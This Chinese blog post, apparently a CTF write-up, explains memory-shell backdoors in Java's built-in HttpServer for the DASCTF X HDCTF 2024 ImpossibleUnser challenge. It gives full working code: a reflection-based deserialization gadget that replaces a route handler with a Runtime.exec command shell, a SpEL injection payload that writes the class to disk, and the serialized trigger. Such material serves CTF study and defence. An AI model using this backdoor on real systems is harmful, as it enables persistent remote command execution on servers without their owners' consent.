HttpServer内存马

news2024/11/20 7:29:10

HttpServer内存马

基础知识

一些基础的方法和类

HttpServer:HttpServer主要是通过带参的create方法来创建,第一个参数InetSocketAddress表示绑定的ip地址和端口号。第二个参数为int类型,表示允许排队的最大TCP连接数,如果该值小于或等于零,则使用系统默认值。

createContext:可以调用多次,表示将指定的url路径绑定到指定的HttpHandler处理器对象上,服务器接收到的所有路径请求都将通过调用给定的处理程序对象来处理。

setExecutor:设置服务器的线程池对象,不设置或者设为null则表示使用start方法创建的线程。

代码例子

首先我们需要知道怎么使用httpserver构建一个HttpServer服务
其实不难,重点只有两部分,一个是server,一个是hander

其实举个例子就能够理解了

import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

public class HttpServerStarter {
    public static void main(String[] args) throws IOException {
        //创建一个HttpServer实例,并绑定到指定的IP地址和端口号
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);

        //创建一个HttpContext,将路径为/myserver请求映射到MyHttpHandler处理器
        httpServer.createContext("/myserver", new MyHttpHandler());

        //设置服务器的线程池对象
        httpServer.setExecutor(Executors.newFixedThreadPool(10));

        //启动服务器
        httpServer.start();
    }
}

然后就是我们的handler



import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;

public class IndexHandler implements HttpHandler {
    @Override
    public void handle(HttpExchange exchange) throws IOException {
        OutputStream os = exchange.getResponseBody();
        List<String> files = listFilesInDirectory("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\tomcat4\\web\\WEB-INF\\classes");
        StringBuilder response = new StringBuilder();

        for (String file : files) {
            response.append(file).append("\n");
        }

        byte[] responseData = response.toString().getBytes();
        int chunkSize = 1024; // 设置每个数据块的大小

        exchange.sendResponseHeaders(200, responseData.length);

        int offset = 0;
        while (offset < responseData.length) {
            int bytesToWrite = Math.min(chunkSize, responseData.length - offset);
            os.write(responseData, offset, bytesToWrite);
            offset += bytesToWrite;
        }

        os.close();
    }
    private List<String> listFilesInDirectory(String directoryPath) {
        File directory = new File(directoryPath);
        File[] files = directory.listFiles();

        if (files != null) {
            return Arrays.asList(directory.list());
        } else {
            return null;
        }
    }
}

在这里插入图片描述

利用

其实看了上面的例子,我们的利用就是使用server创建一个路由和对于的handler,然后控制恶意的handler,但是问题是怎么去获取我们的server

获取server

我们是根据线程去获取的
在这里插入图片描述当然不止这一种

Thread.currentThread().getThreadGroup().threads

这是获取所有的线程在这里插入图片描述
然后通过[0]去获取你需要的线程,然后就是

Thread.currentThread().getThreadGroup().threads.target.this$0

去获取到我们的context对象
然后你还可以去获取我们的handler
在这里插入图片描述
就是在server的contexts中,然后还是选list的其中一个,然后获取

这就是我们一道DASCTF X HDCTF 2024 ImpossibleUnser的解法

构造恶意的handler

当我们获取到了handler之后,我们就可以使用它的createContext方法了,给我们的路由构建一个恶意的handler

恶意的handler主要是重写它的handle方法

public void handle(HttpExchange httpExchange) throws IOException {
        String cmd = httpExchange.getRequestURI().getQuery().split("=")[1];

        InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();

        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8));

        String line;
        StringBuilder stringBuilder = new StringBuilder();

        while ((line = reader.readLine()) != null) {
            stringBuilder.append(line + "\n");
        }

        String response = stringBuilder.toString();

        httpExchange.sendResponseHeaders(200, response.length());
        OutputStream os = httpExchange.getResponseBody();
        os.write(response.getBytes());
        os.close();
    }

CTF题目

DASCTF X HDCTF 2024 ImpossibleUnser

官方wp
源码

package com.ctf;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpServer;
public class IndexController {
    public static void main(String[] args) throws Exception {
        HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0);
        server.createContext("/ctf", new SPELHandler());
        server.createContext("/index", new IndexHandler());
        server.createContext("/unser", new UnserHandler());
        server.setExecutor(null);
        server.start();
    }
}
package com.ctf;

import com.sun.net.httpserver.Headers;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;

import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.List;

public class IndexHandler implements HttpHandler {
    @Override
    public void handle(HttpExchange exchange) throws IOException {
        OutputStream os = exchange.getResponseBody();
        List<String> files = listFilesInDirectory("/usr/lib/jvm/java-8-openjdk-amd64/jre");
        StringBuilder response = new StringBuilder();

        for (String file : files) {
            response.append(file).append("\n");
        }

        byte[] responseData = response.toString().getBytes();
        int chunkSize = 1024; // 设置每个数据块的大小

        exchange.sendResponseHeaders(200, responseData.length);

        int offset = 0;
        while (offset < responseData.length) {
            int bytesToWrite = Math.min(chunkSize, responseData.length - offset);
            os.write(responseData, offset, bytesToWrite);
            offset += bytesToWrite;
        }

        os.close();
    }
    private List<String> listFilesInDirectory(String directoryPath) {
        File directory = new File(directoryPath);
        File[] files = directory.listFiles();

        if (files != null) {
            return Arrays.asList(directory.list());
        } else {
            return null;
        }
    }
}

然后unser路由就是一个反序列化入口

然后还有一个spel表达式注入
方法三 使用内存马方式
这里就直接放payload了
这里wp的思路是修改ctf路由的handler,当然我们也可以添加

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class EvilMemshell implements Serializable, HttpHandler {
    private  void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
        try{
            ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
            Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
            threadsFeld.setAccessible(true);
            Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
            Thread thread = threads[1];

            Field targetField = thread.getClass().getDeclaredField("target");
            targetField.setAccessible(true);
            Object object = targetField.get(thread);

            Field this$0Field = object.getClass().getDeclaredField("this$0");
            this$0Field.setAccessible(true);
            object = this$0Field.get(object);

            Field contextsField = object.getClass().getDeclaredField("contexts");
            contextsField.setAccessible(true);
            object = contextsField.get(object);

            Field listField = object.getClass().getDeclaredField("list");
            listField.setAccessible(true);
            java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
            object = linkedList.get(0);

            Field handlerField = object.getClass().getDeclaredField("handler");
            handlerField.setAccessible(true);
            handlerField.set(object,this);
        }catch(Exception exception){
        }
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void main(String[] args) throws Exception {
        System.out.println(base64serial(new EvilMemshell()));
    }

    @Override
    public void handle(HttpExchange httpExchange) throws IOException {
        String query = httpExchange.getRequestURI().getQuery();
        String[] split = query.split("=");
        String response = "SUCCESS"+"\n";
        if (split[0].equals("shell")) {
            String cmd = split[1];
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            byte[] bytes = new byte[1024];
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            int flag=-1;
            while((flag=inputStream.read(bytes))!=-1){
                byteArrayOutputStream.write(bytes,0,flag);
            }
            response += byteArrayOutputStream.toString();
            byteArrayOutputStream.close();
        }
        httpExchange.sendResponseHeaders(200,response.length());
        OutputStream outputStream = httpExchange.getResponseBody();
        outputStream.write(response.getBytes());
        outputStream.close();
    }
}

重写它的readobject方法,当反序列化它的时候就会处理readobejct的方法,获取到server,更改server的handler

当然我们需要配合spel先把这个恶意的文件写进去

payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class",T(java.util.Base64).getDecoder.decode("恶意代码的base64编码"))

然后反序列化它

unser=rO0ABXNyAAxFdmlsTWVtc2hlbGwx3CJ1tyzvvgIAAHhw

之后就可以在ctf路由进行命令执行了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1896114.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无线传感器网络(物联网通信技术)期末考试2024年真题

目录 WSN期末复习资料 第一章&#xff1a;概述 第二章MAC协议 第三章路由协议 第四章时间同步技术 第五章定位技术 第六章安全技术 第七章拓扑控制 补充TPSN、HRTS公式推导 2024年期末考试考点 一、简述 二、考试真题回忆 WSN期末复习资料 第一章&#xff1a;概述 …

JVM的五大内存区域

JVM的五大内存区域 JVM内存区域最粗略的划分可以分为 堆 和 栈 &#xff0c;当然&#xff0c;按照虚拟机规范&#xff0c;可以划分为以下几个区域&#xff1a; JVM内存分为线程独享区和线程共享区&#xff0c; 其中 方法区 和 堆 是线程共享区&#xff0c; 虚拟机栈, 本地方法…

使用香橙派AIpro做目标检测

使用香橙派AIpro做目标检测 文章目录 使用香橙派AIpro做目标检测香橙派AIpro开发板介绍香橙派AIpro应用体验识别图像识别视频摄像头 香橙派AIpro AI应用场景总结 香橙派AIpro开发板介绍 ​ OrangePi AIpro(8-12T)是一款集成昇腾AI技术的开发板&#xff0c;搭载4核64位CPU和AI处…

Windows安装Visual Studio Code(VS Code) (配图超详细!)

一、下载 官方网站&#xff1a;https://code.visualstudio.com/download 二、安装 1、安装之前先在目的安装路径中新建文件夹存放待会要安装的程序&#xff08;因为在安装过程中选择安装路径时无法现场新建文件夹&#xff09;。 2、在下载目录中找到安装包并双击运行&#xf…

Java经典面试题将一个字符串数组进行分组输出,每组中的字符串都由相同的字符组成

Java经典面试题将一个字符串数组进行分组输出&#xff0c;每组中的字符串都由相同的字符组成 题目&#xff1a; 将一个字符串数组进行分组输出&#xff0c;每组中的字符串都由相同的字符组成 举个例子&#xff1a;输入[“eat”,“tea”,“tan”,“ate”,“nat”,“bat”] 输出…

实现各平台确定性的物理碰撞

1.使用FixedUpdate而不是Update 1.物理运算&#xff0c;比如刚体运动系统的运算是通过固定的时间来驱动的。 2.再moba帧同步游戏中&#xff0c;15帧的固定调用差不多是网络那边的极限了&#xff0c;采用其他手段如平滑显示来提高画面的平滑度。 FixedUpdate是以一个固定的帧率…

2009-2024年第一季度上市公司华证ESG评级季度数据

2009-2024年第一季度上市公司华证ESG评级季度数据 1、时间&#xff1a;2009-2024年第一季度 2、指标&#xff1a;证券代码、证券简称、评级日期、综合评级、综合得分、E评级、E得分、S评级、S得分、G评级、G得分、证监会行业&#xff08;新&#xff09;、同花顺行业&#xff…

步进电机(STM32+28BYJ-48)

一、简介 步进电动机&#xff08;stepping motor&#xff09;把电脉冲信号变换成角位移以控制转子转动的执行机构。在自动控制装置中作为执行器。每输入一个脉冲信号&#xff0c;步进电动机前进一步&#xff0c;故又称脉冲电动机。步进电动机多用于数字式计算机的外部设备&…

二分法查找有序表的通用算法(可查链表,数组,字符串...等等)

find_binary函数 注意事项&#xff1a; &#xff08;1&#xff09;你设计的迭代器模板中必须有using value_type T&#xff0c;且有加减运算功能&#xff0c;其本上能与C标准库std中一样。 &#xff08;2&#xff09;集合必须是有序的。 下面是函数代码&#xff1a; /// &…

flask的进阶使用方法

【 一 】一对多关系 # 1 一对一 [本质就是一对多--》多的那个唯一] # 2 一对多 # 3 多对多1.1 关系 #### 一对多关系 class Hobby(Base):__tablename__ hobbyid Column(Integer, primary_keyTrue)caption Column(String(50), default篮球)def __str__(self):return sel…

C++ | Leetcode C++题解之第213题打家劫舍II

题目&#xff1a; 题解&#xff1a; class Solution { public:int robRange(vector<int>& nums, int start, int end) {int first nums[start], second max(nums[start], nums[start 1]);for (int i start 2; i < end; i) {int temp second;second max(fi…

django学习入门系列之第四点《案例 博客案例》

文章目录 container面板案例 博客案例往期回顾 container 堆叠到两边 <div class"container-fluid clearfix"><div class"col-sm-9">1</div><div class"col-sm-3">2</div> </div>放在中间 <div clas…

嵌入式Linux系统编程 — 6.7 实时信号

目录 1 什么是实时信号 2 sigqueue函数 3 sigpending()函数 1 什么是实时信号 等待信号集只是一个掩码&#xff0c;它并不追踪信号的发生次数。这意味着&#xff0c;如果相同的信号在被阻塞的状态下多次产生&#xff0c;它只会在信号集中被记录一次&#xff0c;并且在信号集…

【Python实战因果推断】20_线性回归的不合理效果10

目录 Neutral Controls Noise Inducing Control Feature Selection: A Bias-Variance Trade-Off Neutral Controls 现在&#xff0c;您可能已经对回归如何调整混杂变量有了一定的了解。如果您想知道干预 T 对 Y 的影响&#xff0c;同时调整混杂变量 X&#xff0c;您所要做的…

项目基础知识

1.JDBC编程和MySQL数据库 数据库的连接&#xff08;以前写qq项目时的代码&#xff09; package com.wu.Util; import java.sql.*; public class JDBCUtil {private static JDBCUtil jdbcUtil null;private JDBCUtil() {}public static JDBCUtil getJdbcUtil() {if (jdbcUtil…

RUP开发模型-系统架构师(二十三)

1、RUP是一个二维软件开发模型&#xff0c;其核心特点之一是&#xff08;&#xff09;。RUP将软件开发周期划分多个循环&#xff0c;每个循环由4个连续阶段组成&#xff0c;每个阶段完成确定的任务。设计及确定系统的体系结构&#xff0c;制定工作计划及资源要求在&#xff08;…

Edge浏览器油猴插件的安装与使用

油猴 (又称篡改猴或Tampermonkey) 是最流行的浏览器扩展之一。它允许用户自定义并增强网页的功能。用户脚本是小型 JavaScript 程序&#xff0c;可用于向网页添加新功能或修改现有功能。使用油猴&#xff0c;您可以轻松在任何网站上创建、管理和运行这些用户脚本。 1.插件的安…

标量场与向量场

标量场与向量场 flyfish 场 是一个函数&#xff0c;它把空间中的每一点关联到一个数值或一个数学对象&#xff08;如向量、张量等&#xff09;。在物理学中&#xff0c;场可以描述许多物理现象&#xff0c;例如温度分布、电场、磁场、压力场等。 标量场 标量场 是一个函数&…

2024 年最佳 Figma 字体

字体不仅仅是文本字符&#xff0c;它们还塑造了用户体验。从引导用户浏览界面到传达品牌个性&#xff0c;字体对于设计​​至关重要。然而&#xff0c;找到适合您的网站或应用风格的完美字体可能具有挑战性。 但不要害怕&#xff0c;我们会帮助您&#xff01;请继续关注&#x…

c语言----队列

很久没有写文章了。因为放假了嘛&#xff0c;给自己稍微放松了一下&#xff0c;所以最近的更新很慢。呜呜下一次一定改。然后咧。今天我想与大家分享的是队列。虽然这个知识点我们应该在讲了堆的实现就应该写的&#xff0c;但是后面忘了&#xff0c;以为自己是写了的。但是昨天…